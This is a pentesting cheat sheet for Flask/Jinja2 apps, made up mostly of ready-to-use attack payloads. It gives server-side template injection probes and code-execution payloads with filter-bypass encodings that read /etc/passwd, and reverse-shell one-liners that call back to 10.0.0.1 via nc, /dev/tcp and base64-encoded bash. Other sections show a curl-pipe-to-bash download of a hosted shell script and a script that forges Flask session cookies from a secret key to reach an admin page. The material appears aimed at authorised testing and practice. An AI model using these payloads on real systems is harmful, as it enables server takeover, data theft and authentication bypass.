Flask Jinja2 Pentesting

Last modified: 2023-09-22

SSTI Web

Flask is a micro web framework written in Python.

Common Directories

/app.py
/main.py
/modules.py
/modules/__init__.py
/modules/admin.py



SSTI (Server-Side Template Injection)

Sometimes, website may filter specific characters.
If so, URL encode the payload or convert to HEX.
In addition, it’s recommended to send requests using Burp Suite because web browsers automatically update the payload.

First, try below payloads.

{{ 4*2 }}
{{ config.items() }}
# Remove curly brackets
{2*3}
2*3

RCE

If success, we may be able to exploit with OS command injection.

{{ __import__('os').system('ping -c 1 10.0.0.1') }}

{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}

{{ request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() }}

{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}

{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')() }}

{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}

{{ [].__class__.__base__.__subclasses__()[422]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip() }}

{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}

Reverse Shell

{{config.__class__.__init__.__globals__['os'].popen('mkfifo /tmp/ZTQ0Y; nc 10.0.0.1 443 0</tmp/ZTQ0Y | /bin/sh >/tmp/ZTQ0Y 2>&1; rm /tmp/ZTQ0Y').read()}}

{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f')|attr('read')() }}

# Filter bypass - Base64 encode
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xNy80NDQ0IDA+JjEi" | base64 -d | bash').read() }}

Alternatively, we can create a shell script to reverse shell, then execute it in the server side.
For example, create a shell script named "revshell" in local machine.

#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"

Then host it and start a listener for receiving an incoming request.

# Local terminal 1
python3 -m http.server 8000

# Local terminal 2
nc -lvnp 4444

Now inject SSTI in the target website.

{{request.application.__globals__.__builtins__.__import__('os').popen('curl 10.0.0.1:8000/revshell | bash').read()}}

# Filter bypassing
{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("curl 10.0.0.1:8000/revshell | bash")|attr("read")()}}

We may get a shell.



SSTI with Error Page

If the website displays an error page (404, 403, etc.) when we access to the page which does not exists, the path may be reflected in the error page. For example, when we attempt to access to /example.html which does not exist, the error page will show messages like the following.

No result for /example.html

As you know, we can insert the malicious program using SSTI.
For instance, try to access http://example.com/{{ 2*3 }}.
The error page will reflect the result of "2*3" as follow.

No result for 6



The session of cookie in the Flask webapp can be decoded.



1. Create a Python Virtual Environment

python3 -m venv myenv
source myenv/bin/activate

2. Install Packages

pip3 install flask requests waitress

3. Create a Python Script

For instance, create “test.py”.
Replace the "SECRET_KEY" value with the target Flask app's secret key.

#!/usr/bin/env python3
from flask import Flask, session, request
from waitress import serve
import requests, threading, time

app = Flask(__name__)
app.config["SECRET_KEY"] = "c53ac69e07ed112ecb788eb4dc831990"

@app.route("/")
def main():
    session["auth"] = "True"
    session["username"] = "test" # SSTI may be applied with "{{ 3*7 }}"
    return "Check you cookies", 200

# Flask setup/start
thread = threading.Thread(target = lambda: serve(app, port=9000, host="127.0.0.1"))
thread.setDaemon(True)
thread.start()

# Request
time.sleep(1)
print(requests.get("http://localhost:9000/").cookies.get("session"))

4. Run the Script

python3 test.py

The cookie value generated.

Copy and paste it into the Cookie of the HTTP header in browser as below.

Cookie: session=<generated_cookie_value>

Now we can login and access to admin page e.g. /admin.
After exploiting, deactivate the python virtual environment.

deactivate